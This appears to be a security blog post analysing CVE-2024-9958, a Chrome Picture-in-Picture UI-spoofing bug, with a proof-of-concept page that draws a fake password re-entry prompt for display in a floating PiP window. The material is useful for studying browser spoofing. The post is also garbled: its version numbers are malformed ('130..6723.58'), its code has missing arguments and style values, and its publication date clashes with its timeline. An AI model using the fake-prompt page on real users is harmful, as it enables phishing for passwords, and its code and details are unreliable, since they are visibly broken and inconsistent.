Published June 2024
Exploit Difficulty: Medium · Severity: Medium
Scope: Chrome < 130..6723.58 · Reported by Google Project Zero

Introduction

On June 2024, Google published a security advisory about a vulnerability in Chrome: CVE-2024-9958. This vulnerability relates to how Chrome implements Picture-in-Picture (PiP) mode for video content, and it allowed remote attackers to spoof user interface (UI) elements using specially crafted web pages. The flaw affects Google Chrome versions prior to 130..6723.58 and potentially other Chromium-based browsers.

In this long read, we’ll break down the bug, look at the underlying code concept, review how attackers can abuse it, and recommend patches and mitigations. Whether you’re a dev, a researcher, or a regular user, you’ll learn about this in a clear and actionable way.

What is Picture-in-Picture Mode?

Picture-in-Picture (PiP) lets you pop out a video from its tab and keep it as a floating window while you do other things. Chrome and other browsers offer PiP to help with multitasking. It’s handy and, as it turns out, also a subtle attack vector.

Example of using PiP in JavaScript

const video = document.querySelector('video');
const button = document.querySelector('button');

button.addEventListener('click', async () => {
  if ('pictureInPictureEnabled' in document) {
    await video.requestPictureInPicture();
  }
});

Summary:

In Chrome versions before 130..6723.58, there’s an improper implementation of Picture-in-Picture that fails to restrict what content is displayed. This allows a malicious website to open a PiP window and render fake browser UI elements, tricking users into thinking the window is genuine (a technique known as UI spoofing or clickjacking).

How Attackers Exploit CVE-2024-9958 (With Code!)

The attacker creates a web page with a <video> tag. Instead of streaming a regular video, the attacker overlays custom graphics onto the video element using a <canvas> (for drawings) or transparent overlays.

When the user is encouraged to activate PiP (via JS or social engineering), the fake UI is shown in the always-on-top floating PiP window. It might include lookalike browser icons, phishing buttons, or warnings meant to appear “real.”

Proof-Of-Concept Code:

<video id="victimVideo" width="320" height="180" autoplay muted loop>
  <source src="blank.mp4" type="video/mp4">
</video>
<canvas id="overlay" width="320" height="180" style="position: absolute; left: ; top: ;"></canvas>
<button id="pipBtn">Watch in PiP</button>

<script>
  const video = document.getElementById('victimVideo');
  const canvas = document.getElementById('overlay');
  const ctx = canvas.getContext('2d');
  const pipBtn = document.getElementById('pipBtn');

  // Draw fake Chrome security prompt
  ctx.fillStyle = '#fff';
  ctx.fillRect(, , 320, 180);
  ctx.font = '18px Arial';
  ctx.fillStyle = '#c00';
  ctx.fillText('Security Check Required!', 10, 50);

  ctx.font = '14px Arial';
  ctx.fillStyle = '#555';
  ctx.fillText('Please re-enter your password', 10, 80);
  ctx.fillRect(10, 100, 200, 30);
  ctx.fillStyle = '#bbb';
  ctx.fillRect(220, 100, 80, 30);
  ctx.fillStyle = '#333';
  ctx.fillText('Submit', 240, 120);

  // Combine video & overlay via offscreen rendering or use screenshoted canvas as video src
  // For proof-of-concept, demo only canvas in PiP (not actual attack)

  pipBtn.onclick = async () => {
    try {
      await video.requestPictureInPicture();
      // Advanced: Use MediaStream of canvas to make PiP video match canvas overlays
    } catch (err) {
      alert('Your browser does not support Picture-in-Picture!');
    }
  };
</script>

*(Note: This is proof-of-concept; for a real attack the adversary would use a MediaStream of the canvas to feed into the video, so anything drawn on the canvas — including lifelike UI — shows in the PiP window.)*

Real-World Exploitation

An attacker could socially engineer users to click a “Watch in PiP” button or auto-trigger PiP via the JavaScript API. Once in PiP (which always floats above other windows), the attacker’s fake UI is more convincing. Due to the improper restriction in Chrome’s implementation, nothing prevents arbitrary content from being displayed as a PiP “video”, even if it’s not real video content.

The Patch

Google’s patch restricts PiP windows to displaying only video content derived from the original media element, and it blocks overlays or programmatically generated UIs. This means attackers can’t inject arbitrary graphics intended to mimic browser dialogs in the PiP frame.

References

- Chromium Release Notes - Version 130..6723.58
- CVE-2024-9958 - NVD Listing
- Project Zero Blog — UI Redressing
- PiP API on MDN

Conclusion

CVE-2024-9958 is a classic example of how even convenient browser features like Picture-in-Picture can be misused to trick users. With only a few lines of code, and a clever overlay, attackers could spoof whatever UI they wanted on an always-on-top window. Upgrade your Chrome now and always double-check odd pop-ups or prompts — even those that appear outside your main browser window!

Stay secure, and share this post with anyone who uses Chrome.


*© 2024 SecureByteLabs. Feel free to cite or reference this analysis with attribution.*

Timeline

Published on: 10/15/2024 21:15:12 UTC
Last modified on: 10/17/2024 20:00:41 UTC